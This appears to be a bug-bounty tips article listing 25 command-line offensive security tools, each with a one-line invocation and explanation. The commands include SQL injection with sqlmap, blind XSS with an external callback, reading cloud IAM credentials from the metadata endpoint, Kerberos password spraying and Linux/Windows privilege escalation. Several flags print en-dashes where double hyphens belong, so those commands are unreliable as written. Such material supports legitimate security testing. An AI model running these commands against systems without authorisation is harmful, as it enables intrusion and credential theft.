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Introduction:
In the high-stakes world of bug bounty hunting, the difference between success and failure often comes down to your toolkit. Professional ethical hackers leverage specialized tools and commands that automate reconnaissance, vulnerability detection, and exploitation, dramatically increasing their efficiency and effectiveness across multiple bug bounty platforms.
Learning Objectives:
- Master essential command-line tools for automated reconnaissance and subdomain enumeration
- Implement advanced vulnerability scanning techniques for web applications and APIs
- Develop proficiency in network scanning, privilege escalation, and post-exploitation tactics
You Should Know:
1. Subdomain Enumeration Mastery
`subfinder -d target.com -o subdomains.txt | httpx -silent | nuclei -t /nuclei-templates/`
This powerful pipeline combines three tools: Subfinder discovers subdomains, HTTPx checks which are active, and Nuclei runs vulnerability scans. First, install the tools via `go install` commands. Run the pipeline to automatically discover live subdomains and immediately test them for known vulnerabilities using the extensive Nuclei template library.
2. Directory and Path Bruteforcing
`gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,html,json`
Gobuster performs directory bruteforcing to discover hidden paths. The `-w` flag specifies the wordlist, `-t` sets threads for speed, and `-x` checks for file extensions. This often reveals admin panels, backup files, and API endpoints that aren’t linked from main pages.
3. API Endpoint Discovery
`katana -u https://api.target.com -jc -f qurl | grep -E “(api|v[0-9]|graphql|rest)”`
Katana crawls JavaScript-heavy applications to find hidden API endpoints. The `-jc` flag enables JavaScript rendering, while `-f qurl` outputs only URLs. The grep filter focuses on API-related paths, crucial for testing modern web applications.
4. SSRF Vulnerability Testing
`python3 ssrfproxy.py -u “http://vulnerable.com/endpoint?url=COLLABORATOR” -c YOUR_BURP_COLLABORATOR`
SSRF Proxy tests for Server-Side Request Forgery vulnerabilities. Replace COLLABABORATOR with your Burp Suite collaborator payload. The tool automates detection of out-of-band interactions that indicate successful SSRF exploitation.
5. SQL Injection Automation
`sqlmap -u “https://target.com/search?q=test” –batch –level=5 –risk=3 –dbs`
SQLMap automates SQL injection detection and exploitation. The `–batch` flag runs without prompts, `–level` and `–risk` increase detection aggressiveness, and `–dbs` enumerates databases after successful injection.
6. XSS Payload Delivery
`dalfox url “https://vulnerable.site/search?q=test” -b “https://xss.xs” –blind`
Dalfox automatically detects XSS vulnerabilities. The `-b` flag specifies your blind XSS callback server, enabling detection of stored XSS that triggers in admin panels or other user contexts.
7. JWT Token Manipulation
`python3 jwt_tool.py JWT_TOKEN -C -d wordlist.txt -I -hc “kid” -hv “../../dev/random”`
JWT Tool tests JSON Web Token vulnerabilities. This command cracks the token signature (-C), tests for injection points (-I), and manipulates the key ID header to exploit path traversal vulnerabilities.
8. Cloud Metadata API Exploitation
`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/`
This command checks for AWS metadata service exposure, a critical misconfiguration. If accessible from a compromised application, it can reveal IAM credentials with extensive cloud permissions.
9. Privilege Escalation Linux
`linpeas.sh | tee linpeas_output.txt`
LinPEAS automates Linux privilege escalation enumeration. Download and run this script on compromised systems to identify misconfigurations, weak file permissions, and other pathways to root access.
10. Windows Privilege Escalation
`winpeas.exe quiet cmd fast`
WinPEAS performs similar automated enumeration on Windows systems. The `quiet` and `fast` flags provide concise output while checking common privilege escalation vectors like service misconfigurations and unquoted paths.
11. Network Port Scanning
`nmap -sC -sV -T4 -p- target_ip –min-rate 5000`
This Nmap command performs comprehensive port scanning with service detection (-sV) and default scripts (-sC). The `–min-rate` flag speeds up scanning while `-p-` checks all 65,535 ports.
12. Password Spraying Attacks
`kerbrute passwordspray -d domain.local userlist.txt Password123`
Kerbrute performs Kerberos password spraying against Active Directory. This technique attempts a single common password against multiple user accounts to avoid account lockouts while identifying valid credentials.
13. Git Repository Exposure
`git-dumper https://target.com/.git/ ./output-dir`
GitDumper downloads exposed .git repositories from web servers. These often contain sensitive information like API keys, database credentials, and source code that wasn’t intended for public access.
14. AWS S3 Bucket Enumeration
`s3scanner scan –buckets mylist.txt –region us-west-1`
S3Scanner checks for misconfigured AWS S3 buckets. The tool identifies publicly readable buckets that may contain sensitive corporate data, a common finding in bug bounty programs.
15. GraphQL Endpoint Testing
`graphql-cop -t https://api.target.com/graphql -w 50`
GraphQL Cop performs automated security testing of GraphQL endpoints. It checks for common vulnerabilities like introspection enabled, field suggestions, and batch query attacks that could lead to denial of service.
16. CRLF Injection Detection
`crlfuzz -u “https://target.com/%0D%0ASet-Cookie:injected” -o results.txt`
CRLFuzz identifies CRLF injection vulnerabilities that can lead to HTTP response splitting, session fixation, and cross-site scripting. The tool automates payload injection across parameters and headers.
17. CORS Misconfiguration Testing
`python3 cors.py -u https://target.com -o origins.txt`
This CORS testing script checks for misconfigured Cross-Origin Resource Sharing policies that could allow unauthorized cross-domain requests. The `-o` flag specifies a list of origins to test.
18. Template Injection Detection
`tplmap -u ‘https://target.com/page?name=test’`
Tplmap detects and exploits server-side template injection vulnerabilities in various template engines. Successful exploitation can lead to remote code execution on the underlying server.
19. Android APK Analysis
`apktool d application.apk -o decompiled/`
Apktool decompiles Android APK files for security analysis. Examine the decompiled code for hardcoded secrets, insecure configurations, and business logic vulnerabilities in mobile applications.
20. iOS IPA Analysis
`objection –gadget “AppName” explore`
Objection performs runtime mobile security assessment on iOS applications. The tool enables method hooking, memory dumping, and bypassing of security controls like certificate pinning.
21. Web Cache Poisoning
`python3 param-miner.py –host https://target.com –page /search`
Param Miner identifies unkeyed inputs for web cache poisoning attacks. The tool discovers headers and parameters that influence page content but aren’t considered in cache keys.
22. DNS Zone Transfer Testing
`dig @ns1.target.com target.com AXFR`
This command tests for DNS zone transfer vulnerabilities that could reveal internal network information. Successful zone transfers expose all DNS records for a domain, including internal hosts.
23. Subdomain Takeover Detection
`subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl`
Subjack identifies vulnerable subdomains susceptible to takeover attacks. The tool checks for dangling DNS records pointing to services like AWS, GitHub Pages, or Heroku that can be claimed by attackers.
24. WordPress Security Scanning
`wpscan –url https://target.com –enumerate u,p,t –api-token YOUR_API_KEY`
WPScan performs comprehensive security assessment of WordPress installations. The tool identifies vulnerable plugins, themes, and users while leveraging the WPScan vulnerability database.
25. Fast Port Discovery
`masscan -p1-65535 target_ip –rate=10000`
Masscan performs extremely fast port scanning for initial reconnaissance. The high `–rate` allows scanning all ports in minutes, though should be used carefully to avoid overwhelming networks.
What Undercode Say:
- Tool specialization creates significant advantages in competitive bug bounty environments
- Automation separates professional hunters from amateur researchers
- The most successful hunters develop proprietary tools for undisclosed vulnerabilities
The evolution of bug bounty tools represents a fundamental shift in cybersecurity offense and defense. As these tools become more sophisticated and accessible, they simultaneously raise the barrier for entry while democratizing advanced attack techniques. Organizations must assume that attackers have access to these same capabilities, necessitating proactive security measures that address both known and emerging attack vectors. The most successful bug bounty hunters don’t just use existing tools—they modify and create specialized utilities that give them unique advantages in crowded competitive landscapes.
Prediction:
The continued automation and specialization of bug bounty tools will lead to increasingly sophisticated attacks against API endpoints, cloud infrastructure, and mobile applications. Within two years, we’ll see AI-powered vulnerability discovery tools that can chain multiple low-severity issues into critical exploits, forcing organizations to adopt more comprehensive security testing methodologies. The democratization of advanced hacking techniques will simultaneously improve overall internet security while making sophisticated attacks accessible to less-skilled attackers.
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